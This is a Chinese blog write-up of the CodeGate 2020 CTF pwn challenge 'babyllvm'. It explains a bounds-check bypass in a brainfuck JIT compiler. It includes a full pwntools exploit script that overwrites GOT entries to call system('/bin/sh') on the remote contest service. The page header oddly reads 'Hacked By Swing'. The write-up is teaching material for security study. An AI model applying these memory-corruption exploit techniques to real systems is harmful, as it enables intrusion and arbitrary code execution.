<!DOCTYPE HTML>
<html lang="zh-CN">

<head><meta name="generator" content="Hexo 3.9.0">
    <!-- hexo-inject:begin --><!-- hexo-inject:end --><!--Setting-->
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">
    <meta http-equiv="Cache-Control" content="no-siteapp">
    <meta http-equiv="Cache-Control" content="no-transform">
    <meta name="renderer" content="webkit|ie-comp|ie-stand">
    <meta name="apple-mobile-web-app-capable" content="AncyBlog">
    <meta name="apple-mobile-web-app-status-bar-style" content="black">
    <meta name="format-detection" content="telephone=no,email=no,adress=no">
    <meta name="browsermode" content="application">
    <meta name="screen-orientation" content="portrait">
    <meta name="theme-version" content="1.2.3">
    <meta name="root" content="/">
    <link rel="dns-prefetch" href="http://www.anciety.de">

    <script id="MathJax-script" async src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js">
    </script>
    <!--SEO-->

<meta name="keywords" content="CTF,codegate,writeups,pwn">


<meta name="description" content="CodeGate 两道简单题 writeup (1)
前言
有一段时间没打比赛了，最近先是做了做 hacktm ，然后又碰到 codegate ，本来是打算好好打打的，于是按照 ctftime ...">


<meta name="robots" content="all">
<meta name="google" content="all">
<meta name="googlebot" content="all">
<meta name="verify" content="all">
    <!--Title-->

<title>
    
    codegate-2020-1 |
    
    AncyBlog
</title>

<link rel="alternate" href="/atom.xml" title="AncyBlog" type="application/atom+xml">


<link rel="icon" href="/favicon.png">

    

<link rel="stylesheet" href="/css/bootstrap.min.css?rev=3.3.7">
<link rel="stylesheet" href="/css/font-awesome.min.css?rev=4.7.0">
<link rel="stylesheet" href="/css/style.css?rev=@@hash">
    



<script type="text/javascript" src="https://tajs.qq.com/stats?sId=66471611" charset="UTF-8"></script><!-- hexo-inject:begin --><!-- hexo-inject:end -->


    

</head>
</html>
<!--[if lte IE 8]>
<style>
    html{ font-size: 1em }
</style>
<![endif]-->
<!--[if lte IE 9]>
<div style="ie">你使用的浏览器版本过低，为了你更好的阅读体验，请更新浏览器的版本或者使用其他现代浏览器，比如Chrome、Firefox、Safari等。</div>
<![endif]-->
<body>
    <!-- hexo-inject:begin --><!-- hexo-inject:end --><header class="main-header"  style="background-image:url(
    https://www.anciety.de/img/banner.jpg)"
     >
    <div class="main-header-box">
        <a class="header-avatar" href="/" title='Anciety'>
            <img src="/img/avatar.jpg" alt="logo头像" class="img-responsive center-block">
        </a>
        <div class="branding">
            <!--<h2 class="text-hide">Snippet主题,从未如此简单有趣</h2>-->
            
            <h2>
                Hacked By Swing
            </h2>
            
        </div>
    </div>
</header>
    <nav class="main-navigation">
    <div class="container">
        <div class="row">
            <div class="col-sm-12">
                <div class="navbar-header"><span class="nav-toggle-button collapsed pull-right" data-toggle="collapse" data-target="#main-menu" id="mnav">
                        <span class="sr-only"></span>
                        <i class="fa fa-bars"></i>
                    </span>
                    <a class="navbar-brand" href="http://www.anciety.de">
                        AncyBlog</a>
                </div>
                <div class="collapse navbar-collapse" id="main-menu">
                    <ul class="menu">
                        
                        <li role="presentation" class="text-center">
                            <a href="/"><i class="fa "></i>
                                首页</a>
                        </li>
                        
                        <li role="presentation" class="text-center">
                            <a href="/categories/writeups/"><i class="fa "></i>
                                writeups</a>
                        </li>
                        
                        <li role="presentation" class="text-center">
                            <a href="/categories/学习/"><i class="fa "></i>
                                学习</a>
                        </li>
                        
                        <li role="presentation" class="text-center">
                            <a href="/categories/问题解决/"><i class="fa "></i>
                                问题解决</a>
                        </li>
                        
                        <li role="presentation" class="text-center">
                            <a href="/categories/扯淡/"><i class="fa "></i>
                                扯淡</a>
                        </li>
                        
                        <li role="presentation" class="text-center">
                            <a href="/archives/"><i class="fa "></i>
                                时间轴</a>
                        </li>
                        
                    </ul>
                </div>
            </div>
        </div>
    </div>
</nav>
    <section class="content-wrap">
        <div class="container">
            <div class="row">
                <main class="col-md-8 main-content m-post">
                    <p id="process"></p>
<article class="post">
    <div class="post-head">
        <h1 id="codegate-2020-1">
            
            codegate-2020-1
            
        </h1>
        <div class="post-meta">
    
    <span class="categories-meta fa-wrap">
        <i class="fa fa-folder-open-o"></i>
        <a class="category-link" href="/categories/writeups/">writeups</a>
    </span>
    
    
    <span class="fa-wrap">
        <i class="fa fa-tags"></i>
        <span class="tags-meta">
            
            <a class="tag-link" href="/tags/CTF/">CTF</a> <a class="tag-link" href="/tags/codegate/">codegate</a> <a class="tag-link" href="/tags/pwn/">pwn</a> <a class="tag-link" href="/tags/writeups/">writeups</a>
            
        </span>
    </span>
    
    
    
    <span class="fa-wrap">
        <i class="fa fa-clock-o"></i>
        <span class="date-meta">
            2020/02/09</span>
    </span>
    
    <span class="fa-wrap">
        <i class="fa fa-eye"></i>
        <span id="busuanzi_value_page_pv"></span>
    </span>
    
    
</div>
        
        
    </div>
    
    <div class="post-body post-content">
        <h1 id="codegate-两道简单题-writeup-1">CodeGate 两道简单题 writeup (1)</h1>
<h2 id="前言">前言</h2>
<p>有一段时间没打比赛了，最近先是做了做 hacktm ，然后又碰到 codegate ，本来是打算好好打打的，于是按照 <a href="https://ctftime.org/" target="_blank" rel="noopener">ctftime</a> 上的时间准备的，没想到 codegate 在上面的时间就是错的，写的是 UTC ，但是其实是 KST (韩国当地时间），中间有 9 个小时时差，等我们开始做题的时候比赛都开始 6 个多小时了，这个时候才开始准备比赛，基本就没什么人打了。。</p>
<p>所以就随便做了两个题，总的感觉是 codegate 的题属于国际赛当中难度比较低的，可以作为入门国际赛来玩。</p>
<p>考虑到难度并不是特别大，所以在写的时候以解释我的思路过程为主，供刚入门的同学学习。</p>
<h2 id="pwn-babyllvm">pwn: babyllvm</h2>
<h3 id="题目信息">题目信息</h3>
<p>题目一共有两个文件：<code>main.py</code> 和一个 <code>runtime.so</code> ，包括一个 Dockerfile 给出了题目搭建的环境，过程差不多就是在特定端口上运行 <code>main.py</code> ，远程的时候就直接进入到 <code>main.py</code> 里。</p>
<p>这种情况在国际赛当中比较常见，国际赛的知识面相对比较广，涉及的东西也会比较多，所以不像国内赛基本都是套路式的 libc 题目的形式，一些同学看到这样的形式就不知道怎么做了，所以我会仔细地说下我的思路。</p>
<h3 id="第一步查看题目大致背景">第一步：查看题目大致背景</h3>
<p>这一步主要是看懂题目在做什么，其实之前我们已经开始做这个步骤了，就是在查看题目的 Dockerfile 的时候，我们知道了我们连上去之后会是接触到的哪个程序，这样知道题目程序的逻辑在哪儿。</p>
<p>接下来，我们需要查看 <code>main.py</code> 文件，把这个文件看懂，看明白它的内容。</p>
<p>具体的代码内容比较长，我就不一一解释了，总的来说，这个文件是一个 <code>Python3</code> 的程序，引用了 <code>llvmlite</code> 这个库。为了看懂题目的逻辑，就需要通过搜索到 <a href="https://llvmlite.readthedocs.io/en/latest/" target="_blank" rel="noopener">llvmlite 的文档</a> 结合文档去理解它内部的逻辑。</p>
<p>其中需要注意的是，llvmlite 是 LLVM 的 python binding，所以其实我们还需要有一些 llvm 的基础知识，如果在比赛期间没有这样的知识，也可以通过查看 <a href="https://llvm.org/docs/" target="_blank" rel="noopener">LLVM 的文档</a> 去现学，这就需要考验基础知识了。</p>
<p>大体来讲，llvm 是一个编译器框架，特别是编译器的后端，包括 jit （及时编译，也就是一边编译一边运行，编译到内存里，不需要写到文件），这个程序就是利用的这个功能。</p>
<p>这个部分的使用方法主要是通过构造 llvm IR ，也就是 llvm 使用的中间语言，在编译的过程中，编译器一般会生成一个中间语言，然后在中间语言基础上进行优化等操作，之后再生成汇编语言，汇编语言通过汇编器生成机器代码，最终生成可执行文件。如果是 JIT ，就不需要生成可执行文件，而是在生成机器代码之后直接运行。</p>
<p>具体的部分可以进一步的了解编译器的一些基础知识，这相当于是这个题目所需要的基本知识要求了，就不再赘述了。</p>
<p>所以，整个程序就是一个小的 JIT 编译器，那么语言是怎么样的呢？从题目中我们可以看到这样的程序：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">code = <span class="string">"-[-------&gt;+&lt;]&gt;-.-[-&gt;+++++&lt;]&gt;++.+++++++..+++.[---&gt;+&lt;]&gt;-----.+[-&gt;++&lt;]&gt;+.&gt;-[---&gt;+&lt;]&gt;-.[-----&gt;+&lt;]&gt;++.--[--&gt;+++&lt;]&gt;-.+++++++++++++.+.+[--&gt;+++++&lt;]&gt;-.-.++[-&gt;++&lt;]&gt;+.-[---&gt;+&lt;]&gt;++.----.+++++.++++++++++.-[----&gt;+&lt;]&gt;++.+[-----&gt;+&lt;]&gt;.--[---&gt;+&lt;]&gt;.-[----&gt;+&lt;]&gt;++.+[-&gt;++&lt;]&gt;.++++.[--&gt;+&lt;]&gt;---.&gt;-[---&gt;+&lt;]&gt;---.-[-&gt;++++&lt;]&gt;+.+++++++++++.----.[-&gt;++++&lt;]&gt;--.&gt;++++++++++."</span></span><br><span class="line">l, h = compile(bfProgram(code))</span><br><span class="line">execute(l, h)</span><br></pre></td></tr></table></figure>
<p>有经验的同学可以看到这是 <a href="https://en.wikipedia.org/wiki/Brainfuck" target="_blank" rel="noopener">brainfuck</a>，也可以从 <code>bfProgram</code> 这里可以看出来，否则就更加麻烦了，需要自己去在没有资料的情况下理解程序。</p>
<p>那么到现在，我们的背景方面差不多就了解了，知道了这个程序大概在干什么，接下来就要具体的去看程序的细节实现了。</p>
<h3 id="第二步理解程序细节实现">第二步：理解程序细节实现</h3>
<p>经过第一步的背景调查，我们现在已经具备了查看程序具体代码的能力，接下来就是具体的去理解程序的过程了。</p>
<p>这个过程没什么好说的，就是看代码，如果有看不懂的部分查资料，如果有 llvm IR 的背景基础了这个部分是比较容易看懂的，也就是花多少时间的差距而已。</p>
<p>总的来说，这个题目的逻辑就是一个 brainfuck 的 JIT 编译器（这个在上一步就已经确认了），还加入了一些优化和检查：</p>
<ol type="1">
<li>检查：允许 brainfuck 的数据指针指向任意位置，但是不允许其从数据指针不经过检查取出数据。在取出数据的时候，通过生成对 <code>runtime.so</code> 中 <code>ptrBoundsCheck</code> 函数的调用来保证取出数据（包括输入输出）的时候数据指针是正常的</li>
<li>优化：上一个检查存在一个优化，利用了一个白名单机制，主要是用来处理当程序目前位置已经生成了边界检查函数的时候，比如检查了数据指针 <code>x</code> 和 <code>y</code> 位置是合法的（位于 <code>(start, bound)</code> 之间），那么以后再访问数据指针 <code>z</code> ，同时 <code>y</code> 满足 <span class="math inline">\(x \leq z \leq y\)</span> ，那么这个 <code>z</code> 就一定是合法的，这个时候由于边界检查函数就可以省略掉，节省运行时间</li>
<li>优化：在 brainfuck 中，指令 <code>&gt;</code> <code>&lt;</code> <code>+</code> <code>-</code> 都是对指针或是数据进行加 1 减 1 的操作，那么连续的加 1 减 1 就可以被生成为加 n 减 n ，从而减少运行时间消耗</li>
</ol>
<p>其他部分就是很常规的生成 llvm IR ，最终利用 JIT 功能进行 JIT 运行了。</p>
<h3 id="第三步找-bug-之找到可疑位置">第三步：找 BUG 之，找到可疑位置</h3>
<p>老实说，这个程序的 bug 不是特别好找，我还稍微花了一点时间，并最终利用我的方法找到了。</p>
<p>这种问题找 bug 的思路就是去揣摩程序的设计思路，去查看哪个地方的设计思路不合理。</p>
<p>在上一步中，我分析了程序中的一些优化和检查的思路，这些思路都是没有问题的。问题在于检查 1 和优化 2 中，这个白名单，应当只在一段连续的程序中起作用，因为一旦出现了 <code>if</code> 语句，也就是出现了不确定性，我们就无法知道前面是否已经检查过 <code>x</code> 和 <code>y</code> 了。所以这个对检查的优化是有条件的。</p>
<p>那么仔细查看程序，我们就会发现程序中有一个奇怪的地方，也就是程序的在生成代码 <code>codegen</code> 中，居然使用了白名单作为参数！在前面的分析中，我们知道，这个白名单怎么说也应该只在连续的一段，也就是 <code>codegen</code> 自己内部起作用，那么接受一个参数，这个就和我们的分析违背了，违背的地方就可能会出现问题。</p>
<p>事实上也确实是这样，对参数的使用在这个地方：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># create all blocks</span></span><br><span class="line">headb = self.head.codegen(module)</span><br><span class="line">br1b = self.br1.codegen(module, (<span class="number">0</span>, <span class="number">0</span>))</span><br><span class="line">br2b = self.br2.codegen(module, (<span class="number">0</span>, <span class="number">0</span>))</span><br></pre></td></tr></table></figure>
<p>也就是在生成 <code>if</code> 的情况的时候，对跳转的两个 <code>branch</code> 的生成，使用了这个参数。虽然看起来这个参数只是无关紧要的 0 ，只允许 0 ，按理说， 0 确实应该是合法的，但是和我们之前的设计思路违背，那么这个使用是没有道理的，我们就可以从这里出发来思考可能出现什么问题。</p>
<h3 id="第四步从可疑位置思考-bug-的存在">第四步：从可疑位置思考 bug 的存在</h3>
<p>接下来我们就从这个可疑位置来思考 bug 到底如何存在的。</p>
<p>这个地方明显是可疑的，他的这个设计是没有理由的，违背了其思想。那么多余的白名单会造成什么问题？</p>
<p>在生成代码的时候，只要满足了 <code>if_safe</code> 函数，就会避免生成运行时的边界检查。我们来查看其中一个边界检查：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">rel_pos = <span class="number">0</span></span><br><span class="line"><span class="comment"># ...</span></span><br><span class="line"><span class="comment"># input case</span></span><br><span class="line">                    dptr = builder.load(dptr_ptr)</span><br><span class="line">                    <span class="keyword">if</span> <span class="keyword">not</span> is_safe(rel_pos, whitelist_cpy):</span><br><span class="line">                        sptr = builder.load(sptr_ptr)</span><br><span class="line">                        cur = builder.ptrtoint(dptr, i64)</span><br><span class="line">                        start = builder.ptrtoint(sptr, i64)</span><br><span class="line">                        bound = builder.add(start, llvmIR.Constant(i64, <span class="number">0x3000</span>))</span><br><span class="line">                        builder.call(ptrBoundCheck, [start, bound, cur])</span><br><span class="line">                        whitelist_cpy = whitelist_add(whitelist_cpy, rel_pos)</span><br><span class="line">                    <span class="keyword">assert</span>(imm &gt; <span class="number">0</span>)</span><br><span class="line">                    <span class="keyword">for</span> i <span class="keyword">in</span> range(imm - <span class="number">1</span>):</span><br><span class="line">                        builder.call(read_char, [])</span><br><span class="line">                    val = builder.call(read_char, [])</span><br><span class="line">                    builder.store(val, dptr)</span><br></pre></td></tr></table></figure>
<p>这是生成输入函数时候的检查，可以看到，在进行检查的时候，是用 <code>rel_pos</code> 进行检查的，明显，在存在跳转的时候，我们无法在编译期确认数据指针的具体值，所以检查只能用相对的位置来检查，如果不存在白名单参数，那么这个程序没有问题，因为第一个 <code>is_safe</code> 无论如何无法成立，那么总是会先生成一个边界检查，之后在利用相对的位置去避免生成边界检查就没有问题。</p>
<p>比如，我并不知道现在的数据指针在哪个位置，但是我需要其在 <code>(start, bound)</code> 这个范围里，由于第一个检查无论如何无法避免，所以我总是会先生成一个边界检查，保证 <code>rel_pos_0</code> 在 <code>(start, bound)</code> 范围里，接下来可以避免的情况只有 <code>rel_pos_0</code> ，如果我生成一个 <code>rel_pos_1</code> 比 <code>rel_pos_0</code> 大的边界检查，那么之后在 <code>(rel_pos_0, rel_pos_1)</code> 里的检查就没有必要了，这样是合法的。</p>
<p>但是，多了一个白名单会有什么后果？在程序一开始，<code>rel_pos = 0</code> ，这个时候多了一个 0 位置的白名单，0 是不需要检查的！那么也就是说，如果我在 <code>if</code> 外面操作数据指针，进到 <code>if</code> 里面再进行数据输入输出，这个数据就不会进行检查了！</p>
<p>所以，这个可疑情况就确实构成了一个 bug 。许多 bug 的造成都是由于其和理应的设计思路不符合而形成的，所以我们可以先从理应的设计思路出发，找到相违背的地方，然后去思考这个违背的地方造成了什么不合理的局面，由此来推出 bug 的存在。</p>
<h3 id="最后利用">最后：利用</h3>
<p>有了 bug 了，利用就简单了。</p>
<p>这个 bug 的能力就是我可以对数据指针进行任意操作，还可以进行对数据指针的任意输入输出，只不过需要在 if 的 case 里。</p>
<p>首先我们需要一个 poc 来把我们的 bug 变成一个可以验证的确实的 bug ，这个可以通过按照这个思路进行构造:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;[.]</span><br></pre></td></tr></table></figure>
<p>其实往前移动多少个数据指针无所谓，只要是那个地方有数据就行了，如果可以输出数据，那么说明确实从不合法的数据指针位置取出了数据。</p>
<p>证明了可以进行从 <code>runtime.so</code> 开始进行一定范围的任意读写，再检查一下 <code>runtime.so</code> 的安全性，可以发现 <code>runtime.so</code> 是没有开启 <code>FULL RELRO</code> 的，那么其 GOT 表是可以写的，所以思路首先就是通过把数据指针往前移动到 GOT 表位置，修改 GOT 表内容（例如修改 write 位置），来劫持控制流，劫持之后可以通过 one gadget 的方法去拿到 shell 。</p>
<p>当然，这个过程的泄漏也比较简单，在写 write 之前先进行输出，然后再移动一下，再重新进行输入就行了。</p>
<p>在我尝试这个思路之后发现一个问题，那就是几个 one gadget 都不能用，所以需要再处理一下。不过也不麻烦，我查看了下，发现 GOT 表中的几个引用里，<code>memset</code> 函数的参数位置是我们可以写的，是我们的数据部分，所以我们可以先把 system 函数的参数 "/bin/sh" 写到那个位置，然后修改 <code>memset</code> 为 <code>system</code> ，再把 <code>write</code> 修改为 <code>alloc_data</code> （因为 <code>alloc_data</code> 函数在其他地方不再使用了，我们需要自己跳转过去，而 <code>write</code> 函数则可以通过写完成之后通过 <code>print_char</code> 触发，也就是利用 brainfuck 中的 <code>.</code> 进行触发），从而最终调用 <code>system("/bin/sh\x00")</code>。</p>
<h3 id="利用脚本">利用脚本</h3>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#! /usr/bin/env python2</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># vim:fenc=utf-8</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># Copyright © 2018 anciety &lt;anciety@anciety-pc&gt;</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># Distributed under terms of the MIT license.</span></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> os.path</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(os=<span class="string">'linux'</span>, arch=<span class="string">'amd64'</span>, log_level=<span class="string">'debug'</span>)</span><br><span class="line">context.terminal = [<span class="string">'notiterm'</span>, <span class="string">'-t'</span>, <span class="string">'iterm'</span>, <span class="string">'-e'</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># synonyms for faster typing</span></span><br><span class="line">tube.s = tube.send</span><br><span class="line">tube.sl = tube.sendline</span><br><span class="line">tube.sa = tube.sendafter</span><br><span class="line">tube.sla = tube.sendlineafter</span><br><span class="line">tube.r = tube.recv</span><br><span class="line">tube.ru = tube.recvuntil</span><br><span class="line">tube.rl = tube.recvline</span><br><span class="line">tube.rr = tube.recvregex</span><br><span class="line">tube.irt = tube.interactive</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> len(sys.argv) &gt; <span class="number">2</span>:</span><br><span class="line">    DEBUG = <span class="number">0</span></span><br><span class="line">    HOST = sys.argv[<span class="number">1</span>]</span><br><span class="line">    PORT = int(sys.argv[<span class="number">2</span>])</span><br><span class="line"></span><br><span class="line">    p = remote(HOST, PORT)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    DEBUG = <span class="number">1</span></span><br><span class="line">    <span class="keyword">if</span> len(sys.argv) == <span class="number">2</span>:</span><br><span class="line">        PATH = sys.argv[<span class="number">1</span>]</span><br><span class="line"></span><br><span class="line">    p = process(PATH)</span><br><span class="line"><span class="comment">#p = process('python3 ./binary_flag/main.py'.split())</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># by w1tcher who dominates pwnable challenges</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">house_of_orange</span><span class="params">(head_addr, system_addr, io_list_all)</span>:</span></span><br><span class="line">    payload = <span class="string">b'/bin/sh\x00'</span></span><br><span class="line">    payload = payload + p64(<span class="number">0x61</span>) + p64(<span class="number">0</span>) + p64(io_list_all - <span class="number">16</span>)</span><br><span class="line">    payload = payload + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(<span class="number">0</span>) * <span class="number">9</span> + p64(system_addr) + p64(<span class="number">0</span>) * <span class="number">4</span></span><br><span class="line">    payload = payload + p64(head_addr + <span class="number">18</span> * <span class="number">8</span>) + p64(<span class="number">2</span>) + p64(<span class="number">3</span>) + p64(<span class="number">0</span>) + \</span><br><span class="line">            p64(<span class="number">0xffffffffffffffff</span>) + p64(<span class="number">0</span>) * <span class="number">2</span> + p64(head_addr + <span class="number">12</span> * <span class="number">8</span>)</span><br><span class="line">    <span class="keyword">return</span> payload</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">orig_attach = gdb.attach</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">gdb_attach</span><span class="params">(*args, **kwargs)</span>:</span></span><br><span class="line">    <span class="keyword">if</span> DEBUG:</span><br><span class="line">        orig_attach(*args, **kwargs)</span><br><span class="line">gdb.attach = gdb_attach</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">minus_encode</span><span class="params">(data)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0xffffffffffffffff</span> + (data + <span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span></span><br><span class="line">    <span class="comment"># Your exploit script goes here</span></span><br><span class="line">    data = <span class="number">0x201080</span></span><br><span class="line">    write_got = <span class="number">0x201008</span></span><br><span class="line">    p.ru(<span class="string">'&gt;&gt;&gt; '</span>)</span><br><span class="line">    <span class="comment">#shellcode = '+[&#123;&#125;[.&gt;]&lt;&lt;&lt;&lt;&lt;&lt;[,&gt;].]'.format('&lt;' * (data-write_got))</span></span><br><span class="line">    shellcode = <span class="string">',&gt;,&gt;,&gt;,&gt;,&gt;,&gt;,&gt;,&gt;+[&#123;&#125;[.&gt;]&#123;&#125;[.&gt;]&#123;&#125;[,&gt;]&#123;&#125;[,&gt;].]'</span>.format(</span><br><span class="line">        <span class="string">'&lt;'</span> * (data-write_got), <span class="comment"># binary base</span></span><br><span class="line">        <span class="string">'&lt;'</span> * (<span class="number">6</span> + <span class="number">8</span>), <span class="comment"># libc base</span></span><br><span class="line">        <span class="string">'&lt;'</span> * <span class="number">6</span>, <span class="comment"># write "write"</span></span><br><span class="line">        <span class="string">'&gt;'</span> * (<span class="number">2</span> + <span class="number">8</span>))</span><br><span class="line">    <span class="comment"># 0. "/bin/sh\x00"</span></span><br><span class="line">    <span class="comment"># 1. write -&gt; call memset</span></span><br><span class="line">    <span class="comment"># 2. memset -&gt; system addr</span></span><br><span class="line">    p.sl(shellcode)</span><br><span class="line">    <span class="comment">#p.irt()</span></span><br><span class="line">    time.sleep(<span class="number">0.5</span>)</span><br><span class="line">    p.s(<span class="string">'/bin/sh\x00'</span>)</span><br><span class="line">    binary_addr = u64(p.r(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">'\x00'</span>))</span><br><span class="line">    binary_base = binary_addr - <span class="number">0x7b6</span></span><br><span class="line">    libc_addr = u64(p.r(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">'\x00'</span>))</span><br><span class="line">    libc_base = libc_addr - <span class="number">0x110140</span></span><br><span class="line">    call_memset = p64(binary_base + <span class="number">0x927</span>).strip(<span class="string">'\x00'</span>)</span><br><span class="line">    system_addr = p64(libc_base + <span class="number">0x4f440</span>).strip(<span class="string">'\x00'</span>) + <span class="string">'\x00'</span></span><br><span class="line">    time.sleep(<span class="number">0.5</span>)</span><br><span class="line">    <span class="comment">#p.irt()</span></span><br><span class="line">    p.s(call_memset)</span><br><span class="line">    <span class="comment">#p.irt()</span></span><br><span class="line">    time.sleep(<span class="number">0.5</span>)</span><br><span class="line">    p.s(system_addr)</span><br><span class="line">    p.irt()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure>
<h3 id="附调试方法">附：调试方法</h3>
<p>可能有同学对调试方法有些疑问，<code>runtime.so</code> 是加载到 <code>python</code> 中的，所以调试的时候，本地启动通过 <code>process("python3 main.py".split())</code> 来进行启动，之后在程序等待输入的时候先不进行输入（在我的脚本里，我用的是 <code>p.interactive()</code>，如果要继续运行，我就用 <code>ctrl+d</code> 退出 <code>p.interactive()</code> 从而继续运行）。</p>
<p>之后在等待输入的时候，启动 gdb ，查看 <code>python3 main.py</code> 这个进程的 pid ，利用 <code>attach PID</code> attach 上去，查看 <code>vmmap</code> 可以看到 <code>runtime.so</code> 的加载地址，通过这个加载地址 <code>b *ADDR + OFFSET</code> 这种方式进行下断点，比如下到 <code>print_char</code> ，这样就可以调试了。</p>

    </div>
    
    <div class="post-footer">
        <div>
            
            转载声明：
            商业转载请联系作者获得授权,非商业转载请注明出处 © <a href="" target="_blank">Snippet</a>
            
            
        </div>
        <div>
            
        </div>
    </div>
</article>
<div class="article-nav prev-next-wrap clearfix">
    
    <a href="/2020/02/09/codegate-2020-2/" class="pre-post btn btn-default" title='codegate-2020-2'>
        <i class="fa fa-angle-left fa-fw"></i><span class="hidden-lg">上一篇</span>
        <span class="hidden-xs">
            codegate-2020-2</span>
    </a>
    
    
    <a href="/2019/12/26/crypto_recap/" class="next-post btn btn-default" title='密码学救命稻草'>
        <span class="hidden-lg">下一篇</span>
        <span class="hidden-xs">
            密码学救命稻草</span><i class="fa fa-angle-right fa-fw"></i>
    </a>
    
</div>

<div id="comments">
    

<div id="vcomments" class="valine"></div>
<!--<script src="//cdn1.lncld.net/static/js/3.0.4/av-min.js"></script>
<script src="/assets/valine.min.js"></script>-->
<script src="//cdn1.lncld.net/static/js/3.0.4/av-min.js"></script>
<script src="//unpkg.com/valine@latest/dist/Valine.min.js"></script>
<script>
new Valine({
    av: AV,
    el: '#vcomments',
    appId: 'sBJ8fsglfz3e3AeXQbE8d8H8-gzGzoHsz',
    appKey: 'WFXH17M73py6bGqWl0ffMbHG',
    placeholder: '说点什么吧',
    notify: false,
    verify: true,
    avatar: 'mm',
    meta: 'nick,mail'.split(','),
    pageSize: '10',
    path: window.location.pathname,
    lang: 'zh-CN'.toLowerCase()
})
</script>



</div>


                </main>
                
                    <aside id="article-toc" role="navigation" class="col-md-4">
    <div class="widget">
        <h3 class="title">
            文章目录
        </h3>
        
